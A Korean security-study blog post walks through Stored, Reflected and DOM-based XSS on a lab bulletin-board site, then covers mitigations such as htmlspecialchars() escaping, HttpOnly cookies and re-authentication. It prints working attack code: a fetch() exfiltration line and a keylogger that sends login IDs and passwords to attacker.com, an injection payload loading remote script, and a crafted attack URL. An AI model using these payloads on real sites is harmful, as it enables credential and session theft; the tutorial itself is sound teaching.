XSS

XSS는 Cross(X) Site Scripting의 줄임말로, 클라이언트 측에 스크립트를 삽입하여 중요한 정보를 탈취하는 해킹 기법이다. 사용자의 입력이 HTML 파일 내에 담기거나 Javascript와 같은 스크립트 언어에 의해 출력이 되는 지점에서 해당 공격이 발생할 수 있다. 해당 기법으로는 다른 사용자의 인증 정보인 세션 ID를 탈취하거나, 키로거(Key Logger)를 삽입하여 실제 로그인 정보(ID와 Password 등)를 가로챌 수 있다.

XSS는 `Stored XSS`, `Reflected XSS`, `DOM-Based XSS`로 크게 세 가지 종류의 기법이 존재한다.

타겟 사이트

로그인하여 글을 올릴 수 있는 커뮤니티 형식의 사이트다. 기본적으로 사이트를 이용하기 위해서는 로그인이 필요하다.

login.php

login.php

해당 페이지에서는 단순하게 ID와 PW를 입력하여 로그인을 할 수 있다. 또한 `Sign Up`을 클릭하여 회원가입 또한 가능하다.

login failed

없는 ID로 로그인을 시도하면 위와 같이 "No ID `[시도한 아이디]` in DB"라는 알림창이 뜬다.

signup.php

signup.php

해당 페이지에서는 이름, E-mail, ID, PW를 입력하여 회원가입을 할 수 있다.

board.php

로그인을 하면 바로 이 board.php 페이지로 넘어오게 된다. DB에 저장된 여러 글들이 5개씩 나온다.

검색 기능이 구현되어 있으며, 제목을 클릭하면 해당 글을 읽을 수 있는 페이지로 넘어간다.

`New Post` 버튼을 누르면 새 글을 작성할 수 있다.

`Log Out`를 클릭하면 로그아웃이 되며, login.php로 돌아가게 된다.

board.php?query=as

글을 검색하면 URL 파라미터에 검색어가 들어가며, 해당 단어가 포함된 모든 글을 출력한다. (페이지가 4개인 것은 버그다)

 

No result

검색어에 대한 결과가 없으면 "No result from [검색어]"라는 문구가 출력된다.

read_post.php

read_post.php

board.php에서 제목을 클릭하면 이 read_post.php로 이동하게 되는데, 뒤에 붙은 `postNo` 파라미터의 값에 따라 글이 출력된다.

해당 페이지에서는 단순하게 글의 제목과 내용을 출력해주기만 한다.

상단의 Home 글자를 클릭하면 board.php로 돌아갈 수 있다.

new_post.php

new_post.php

board.php에서 `New Post` 버튼을 클릭하면 이 페이지로 이동한다.

위의 한 줄짜리 입력칸 <input>에는 제목을, 큰 <textarea>에는 글의 내용을 작성하여 `Post` 버튼을 클릭해 글을 등록할 수 있다.

mypage.php

mypage.php

이 페이지는 버튼을 클릭해서 접속할 수 있는 경로가 존재하지 않지만 URL을 직접 입력함으로써 접속할 수 있다.

해당 페이지에서는 사용자의 모든 정보를 출력한다.

Stored XSS

Stored XSS(저장형 XSS)는 서버 DB에 악성 스크립트를 저장해두는 방식으로 공격을 시도한다. 

예를 들어 악성 스크립트를 담은 글을 작성하면 DB에 해당 글이 저장되고, 다른 사용자가 그 글을 읽을 때 스크립트가 작동하는 방식이다. 커뮤니티 형식의 사이트에서 보통 글은 DB에 저장이 되기 때문에 Stored XSS의 가능성이 있다.

Example

앞서 소개한 사이트에서 예를 들어보겠다.

여기서 13번째 글, `i`라는 제목을 가진 글에 들어가보면 다음과 같은 글이 존재한다.

단순히 심심해보이는 표정이 담긴 글이라고 생각할 수 있다. Burp Suite를 통해 정확히 어떤 패킷을 받았는지 확인해보겠다.

read_post.php?postNo=13 packet

화살괄호(`<`, `>`)와 따옴표(`'`)가 아무 필터링 없이 왔다. 화살괄호와 따옴표에 대한 필터링이 없다는 것은 글을 작성할 때 임의의 태그를 생성하거나 태그의 속성을 수정할 수 있음을 시사한다.

XSS attack

그렇다면 `script` 태그를 포함한 글을 작성하여 `alert()`가 실제로 작동하는지 테스트해보겠다.

18th post

방금 작성한 글은 18번째 글이다. 해당 제목을 클릭하여 들어가보면

read_post.php?postNo=18

`alert()` 알림창이 뜨는 것을 확인할 수 있다. read_post.php 페이지에 XSS 취약점이 존재한다는 것을 알 수 있다. 이러한 취약점을 이용해 DB에 악의적인 스크립트를 담아 클라이언트 측에서 실행하는 것이 Stored XSS이다. 

Reflected XSS

Reflected XSS(반사형 XSS)는 악성 스크립트를 서버에 저장하지 않고 입력이 그대로 반사되어 출력되는 곳에서 발생한다.

예를 들어, 로그인 페이지에서 없는 ID를 입력했을 때 "~라는 ID는 존재하지 않습니다."와 같이 사용자의 입력이 그대로 출력된다면 Reflected XSS가 발생할 수 있다.

Example

위에서 사이트를 설명할 때 login.php에서 없는 ID로 로그인하면 어떤 응답이 돌아오는지 보였다.

login faild - non-existent ID

해당 알림이 정확히 어떻게 뜨는 것인지 Burp Suite를 통해 확인해보면 다음과 같다.

이렇게 사용자의 입력이 응답에 그대로 들어가게 되면 SQL Injection 때와 마찬가지로 Injection이 가능하다.

');alert('hello');//

라는 입력을 id 파라미터로 전달하게 되면 `alert()` 알림창이 총 두 번 뜨게 될 것이다.

실제로 응답받은 패킷을 확인해보면 다음과 같다.

하지만 Reflected XSS는 이렇게 반사되는 것만으로 위험하지는 않다. 스크립트를 직접 입력창에 입력을 해야지만 작동하기 때문이다. 

Reflected XSS가 다른 사용자에게도 제기능을 하려면 반드시 GET 요청이여야만 한다. GET 요청이면 파라미터들을 URL에 직접 담을 수 있기 때문이다. 위에서 든 예시는 POST 요청이였지만, POST 요청, GET 요청을 전부 받아주는 사이트일 수도 있다.

GET 요청으로도 작동하는 페이지라면 위와 같이 URL에 파라미터를 삽입할 수 있다. GET으로도 동작한다면 공격 링크를 생성할 수 있다. `192.168.96.135:1094/login.php?id=%27%29%3Balert%28%27hello%27%29%3B%2F%2F&pw=noPW`로 들어가게 되면 의도한 스크립트가 실행되는 것이다.

DOM-Based XSS

Reflected XSS를 생각하고 입력이 돌아오는(반사되는) 지점을 찾았다고 가정해보자. 

Burp Suite로 응답패킷을 살펴보다보면 분명 패킷에는 입력값이 존재하지 않는데, 브라우저에서는 입력값이 반사되어 출력되는 경우가 존재할 수 있다. 해당 경우는 Javascript와 같은 스크립트 언어를 이용해 입력값을 출력했을 가능성이 존재한다.

Example

사용자의 입력이 반사되는 곳은 로그인 이외에 한 군데가 더 있었다.

board.php에서 검색어를 입력했을 때, 그 검색어에 대한 결과가 없으면 사용자의 입력이 반사됐다.

No result from hmmm

Reflected XSS가 가능한지 알아보기 위해 응답 패킷을 살펴보면 다음과 같다.

'hmmm' not exists in response packet

분명 브라우저에서는 'hmmm'이라는 글자가 출력되고 있는데, 응답 패킷에는 해당 글자가 존재하지 않는다.

응답 패킷을 좀더 살펴보면 다음과 같은 스크립트 태그가 존재하는 것을 확인할 수 있다.

Reflected with JS

해당 코드는 현재 URL에서 파라미터를 가져와 `document.write()` 함수를 통해 페이지에 출력을 해주는 코드다.

`document.write()` 함수의 위험한 점은 그냥 HTML 문서에 파라미터를 아무 필터링 없이 그대로 넣는다는 것이다. 즉, `<script>` 태그를 꾸겨넣을 수 있다는 것이다.

이렇게 응답 패킷에 입력이 그대로 출력되는 지점이 없더라도 스크립트 언어에 의해 반사되는 것을 이용해 XSS를 하는 것을 DOM-Based XSS이다. Reflected XSS와 마찬가지로 URL을 생성해 공격할 수 있다.

XSS를 이용한 데이터 탈취

공격자들이 XSS 취약점을 이용해 `alert()`만 띄우고 끝나지는 않을 것이다. 실제로 해당 취약점을 이용해 어떤 정보를, 어떻게 탈취할 수 있는지 알아보겠다. 

기본적으로 데이터를 탈취하기 위해서는 피해자로부터 얻어낸 데이터를 공격자에게 전송할 필요가 있다. 공격자의 서버에 접속만 할 수 있다면 데이터를 전송할 수 있다. 

var got_data = "blahblah";
// got_data를 얻어낸 데이터라고 가정
fetch('http://attacker.com/listen.php?data=' + got_data);

예를 들어 위와 같은 코드를 삽입한다고 하면, 얻어낸 데이터를 listen.php의 파라미터로 보내 공격자의 서버 `attacker.com`에서 데이터를 전송 받아낼 수 있는 것이다. `fetch()` 함수를 사용하는 것 이외에도 `<img>` 태그를 이용하는 등의 다양한 방법으로 공격자 서버로 데이터를 전송할 수 있다.

키로거 (Key Logger)

앞서 login.php에 XSS 취약점이 존재한다는 것을 확인했다. 로그인을 하는 곳에 이러한 XSS 취약점이 존재하면 키로거를 삽입해 사용자가 로그인을 하는 과정에서 로그인 정보를 가로챌 수 있다.

XSS Point in login.php

없는 ID로 로그인을 시도했을 때 돌아오는 응답 패킷이다. 사용자의 특수문자를 포함한 입력이 아무 필터링 없이 그대로 반사되고 있는 모습을 보이고 있다. 즉, Reflected XSS의 취약점이 존재하는 것이다. 

const inputs = document.querySelectorAll('input');
const form = document.querySelector('form');
form.onsubmit = async (e) => {
	await fetch('https://attacker.com/listen.php?id=' + inputs[0].value + '&pw=' + inputs[1].value).then((e) => { return true; });
	return false;
};

위의 스크립트를 이용하면 사용자가 로그인을 하는 시점에 input 태그에 입력한 값들을 공격자 서버로 전송할 수 있다.

함수를 비동기로 설정함으로써 사용자가 의심하지 못하도록 공격자의 서버로 데이터를 전송한 직후 로그인이 정상적으로 처리되게끔 하였다. 

공격 payload는 다음과 같다.

ID: </script><script defer src="https://attacker.com/script.js"> console.log('

공격자는 자신의 서버에 키로거 스크립트를 미리 준비해뒀다가 제공할 수 있다. 

login.php

입력한 ID는 `alert()`로부터 벗어나 <script> 태그를 닫고 다른 <script> 태그를 열어 외부로부터 js 파일을 받아온다.

script.js

공격자 서버로부터 받아온 스크립트는 자동으로 실행되어 제출 버튼에 원래와는 다른 기능이 심어지게 된다.

로그인을 시도하면 공격자의 서버로 ID와 PW를 파라미터에 담아 보내게 된다.

또한 로그인이 성공적으로 진행이 되어 사용자는 자신의 로그인 정보가 탈취당했다는 사실을 알아채기 힘들다.

해당 사이트의 login.php는 POST 이외에 GET 요청으로도 작동한다. 즉, Reflected XSS 취약점에 의한 공격 URL을 만들 수 있다.

http://192.168.96.135:1094/login.php?id=%3C%2Fscript%3E%3Cscript+defer+src%3D%22https%3A%2F%2Fattacker.com%2Fscript.js%22%3E+console.log%28%27&pw=go

해당 링크(당연히 여기서는 작동하지 않는다)를 타고 들어가서 로그인을 시도하면 로그인 정보가 공격자 서버로 전송된다.

Infected URL

위의 HTTP/HTTPS 통신 기록은 ① 감염된 URL을 타고 들어가, ② 로그인을 시도하여 공격자 서버로 로그인 정보가 넘어간 후, ③ 최종적으로 원래 사이트에서의 로그인이 성공적으로 이뤄져 board.php로 리다이렉션되는 과정을 보여준다.

Cookie(세션 ID) 탈취

Cookie

클라이언트는 서버에게 요청을 할 때마다 자신이 자신임을 인증해야 한다. 그렇다고 페이지를 요청할 때마다 로그인을 할 수 없으니 cookie라는 것을 사용하기 시작했다. HTTP 패킷 헤더에 `Cookie: user=nciwo`와 같이 적어 서버가 자신을 `nciwo`라는 사용자임을 인식하도록 하였다. 하지만 해당 방법에는 치명적인 결함이 존재한다. `nciwo`라는 ID를 소유하고 있지 않은 사용자가 자신의 cookie를 `nciwo`로 변조해서 속일 수 있다. 

이러한 점을 개선한 것이 세션 ID다.

세션 ID

세션 ID 또한 HTTP 패킷 헤더에 `Cookie: PHPSESSID=1k75pv8oojb8fe2hjmbpbe077a`와 같이 적는다. 서버에는 해당 값을 가진 사용자의 ID를 저장해둔다. 그럼 해당 ID를 소유한 사용자는 ID 대신 `1k75pv8oojb8fe2hjmbpbe077a`라는 값을 이용해 자신임을 인증할 수 있게 된다. 이 문자열은 처음 서버가 응답할 때 랜덤하게 생성되므로 다른 사용자는 이 값을 쉽게 추측할 수가 없다.

세션 ID 탈취

다른 사용자의 세션 ID를 알 수 있다면 해당 사용자로 위장하여 로그인이 가능하다. XSS로 다른 사용자의 브라우저에 접근할 수 있다는 점을 통해 세션 ID를 탈취할 수 있다. 세션 ID는 보통 cookie에 저장되므로, 클라이언트의 모든 cookie 값들을 공격자의 서버로 전송하면 된다.

Posted by user 'nciwo'

아까 read_post.php에 XSS 취약점을 찾았던 것을 이용해 <script> 태그를 포함한 공격 스크립트를 작성한다. 해당 글은 `nciwo`라는 ID를 가진 사용자로 작성되었다. 

`admin`이라는 ID를 가진 사용자로 접속해 해당 글(19번째 글 'Come on')을 클릭하면 `admin`의 세션 ID가 공격자의 서버로 전송될 것이다.

`PHPSESSID`, 즉, 세션 ID가 공격자 서버로 전송되었다. 해당 값을 받은 공격자는 자신의 쿠키를 변조해서 자신이 `admin`인냥 접속할 수 있을 것이다.

이렇게 `PHPSESSID`의 값을 변조한 뒤 mypage.php로 접속하면

원래는 `nciwo`였던 사용자가 `admin`의 계정으로 접속에 성공했다.

페이지 탈취

사용자의 민감한 정보가 담긴 페이지가 존재한다면, 해당 페이지를 탈취하는 것 또한 생각해볼 수 있다.

예제 사이트에서는 mypage.php라는 페이지에서 사용자의 민감한 정보를 출력한다. 

read_post.php에서의 XSS 취약점을 이용해 해당 글을 읽는 사용자들의 mypage.php 내용을 공격자의 서버로 전송하는 스크립트를 삽입했다. 어그로성 제목을 설정함으로써 글을 읽도록 유도했다.

이번 글 또한 `nciwo` ID로 작성됐다.

`admin`이라는 ID를 가진 사용자가 공짜 유튜브 프리미엄을 참지 못하고 글을 읽으러 들어가게 되면,

자신의 mypage.php 페이지를 통째로 공격자의 서버로 전달하게 된다.

대응 방법

XSS 공격에 대한 대응 방법에는 여러가지가 있을 수 있지만, 가장 원론적으로 차단할 수 있는 방법이 존재한다. 지금까지 클라이언트 측 스크립트 삽입은 HTML 특수문자에 의해 발생해왔다. 그렇다면 HTML 특수문자를 막아버리면 된다. 하지만 해당 특수문자들은 원래부터 사용해오던 특수문자이기 때문에 그냥 막을 수는 없다. 그래서 사용하게 된 것이 HTML Entity이다.

HTML Entity

HTML Entity는 `&[entity_name];` 또는 `&#[entity_number];`의 형태로 여러 문자들을 표현하는 하나의 방식이다. 

예를 들어, `&lt;` 또는 `&#60;`라고 쓰면 브라우저는 이를 `<`로 해석한다. 하지만 브라우저는 해당 `<`를 HTML 태그로 인식하지는않는다. 가령 `&lt;script&gt;`라는 문자열이 있으면 비록 사용자에게 `<script>`라고 출력해주겠지만 브라우저는 여전히 해당 문자열을 태그의 형태가 아닌 날 것 그대로 `&lt;script&gt;`라고 읽을 뿐이다. 

꼭 보안만을 위해 등장한 것은 아니지만 이 HTML Entity는 XSS를 막는 데 있어 굉장히 효과적이다. XSS 취약점에서 공격을 하기 위해 `<`, `>`, `'`, `"` 이 넷 중 하나는 사용하게 돼있다. 하지만 이 네 개의 특수문자들을 전부 HTML Entity로 처리해버린다면 XSS에서의 핵심인 클라이언트 측 스크립트 삽입을 원천적으로 차단할 수 있게 된다. 

Example

XSS 취약점이 발견된 read_post.php에서 코드를 수정해 XSS에 이용될 가능성이 있는 특수문자들을 HTML Entity로 변환해보겠다.

<div>
    <h1><?php 
            echo $post_info['title'];
         ?></h1>
    <p><?php
             echo $post_info['content'];
        ?></p>
</div>

이전에 사용되던 코드는 위와 같다. 하지만 `htmlspecialchars()` 함수를 이용한다면 `&`, `'`, `"`, `<`, `>` 5개의 특수문자들을 HTML Entity로 치환해준다.

<div>
    <h1><?php 
            echo htmlspecialchars($post_info['title']);
         ?></h1>
    <p><?php
             echo htmlspecialchars($post_info['content']);
        ?></p>
</div>

해당 함수를 적용한 코드는 위와 같다.

위의 글을 작성하여 읽으러 들어갈 때 `alert()`가 작동한다면 여전히 XSS 취약점이 존재하는 것이다.

`alert()` 함수가 작동하기는커녕 글 작성자가 옹졸하게 공격을 시도했다는 사실이 만천하에 드러나게 됐다.

실제로 응답받은 패킷을 살펴보면 `<`와 `>`, 그리고 `'`가 각각 `&lt;`, `&gt;`, `&#039;`로 되어있는 것을 확인할 수 있다.

HttpOnly Cookie

사이트가 커지면 커질수록 XSS 취약점 포인트를 전부 알아내기 힘들 수 있다. 혹시나 뚫려버릴지도 모르는 XSS에 대해 적어도 세션 ID라도 지킬 필요가 있다. Cookie에는 다양한 옵션이 있는데, 그 중에서도 XSS의 공격으로부터 쿠키를 보호할 수 있는 옵션인 `HttpOnly` 옵션이 있다. 

서버가 클라이언트에게 쿠키를 지정해줄 때 `HttpOnly` 옵션을 적용시킨다면 클라이언트는 스크립트 언어로 쿠키에 접근할 수 없게 된다. 원래라면 Javascript의 경우 `document.cookie`를 통해 모든 쿠키의 값들에 접근이 가능하지만, `HttpOnly` 옵션이 적용된 쿠키에서만큼은 예외다. 

서버에서 세션을 시작할 때 `HttpOnly`를 적용시켜준다면 클라이언트에서 위와 같은 응답 패킷을 받을 수 있다.

① `HttpOnly`로 적용되어, ② `document.cookie`로는 세션 ID가 나오지 않는다.

페이지 보호

아무리 `HttpOnly`를 적용했다고 해도 로그인 정보가 안 털리는 것은 아니다. mypage.php에서 모든 로그인 정보를 보여주는 것을 확인했다. 세션 ID보다 더 중요한 정보는 여전히 유출될 가능성이 존재한다. 따라서 이와 같이 민감한 정보는 접속하자마자 보여주지 않아야 한다. 

민감한 정보를 보호하기 위해 취할 수 있는 가장 간단한 방법으로는 인증을 다시 하는 것이다.

단순히 mypage.php에 접속하면 비밀번호를 다시 입력하게 하는 것이다.

로그인에 성공해야지만 사용자의 정보를 알 수 있다.

로그인에 실패하면 인증 실패라는 문구와 함께 사용자의 정보를 제공하지 않는다.

Case of HTML Editor

HTML Entity만 있으면 만사 OK라고 생각할 수 있다. 하지만 일부 상황에서는 HTML Entity를 사용할 수 없을 수도 있다. 가장 대표적인 예시로는 HTML Editor가 있다. 애초에 글을 HTML 방식으로 쓸 수 있게 하고 싶은 게시판의 경우, HTML Entity로 치환해버린다면 HTML Editor로써의 의미가 퇴색돼버린다. 해당 글을 작성하고 있는 tistory에서도 HTML Editor가 존재한다. 웬만해서는 HTML Editor 기능을 안 두는 것이 좋지만, 그럼에도 불구하고 필요하다면 다음의 과정을 거치는 것을 권장한다.

  1. 입력에서의 HTML 특수문자들을 전부 HTML Entity로 치환
  2. `<img>`, `<svg>`, `<h1>` 등의 자주 사용되는 태그들은 HTML Entity -> HTML 특수문자로 되돌려놓음
  3. `onerror`, `onload`, `onmouseover` 등의 악의적으로 사용될 여지가 있는 Event Handler들은 전부 삭제

'Study > with normaltic' 카테고리의 다른 글

Segfault CTF - 12주차  (4) 2025.07.02
Segfault CTF - 11주차  (0) 2025.06.25
SegFault CTF - 7주차  (1) 2025.05.28
Blind SQL Injection  (0) 2025.05.25
Error-based SQL Injection  (0) 2025.05.25

+ Recent posts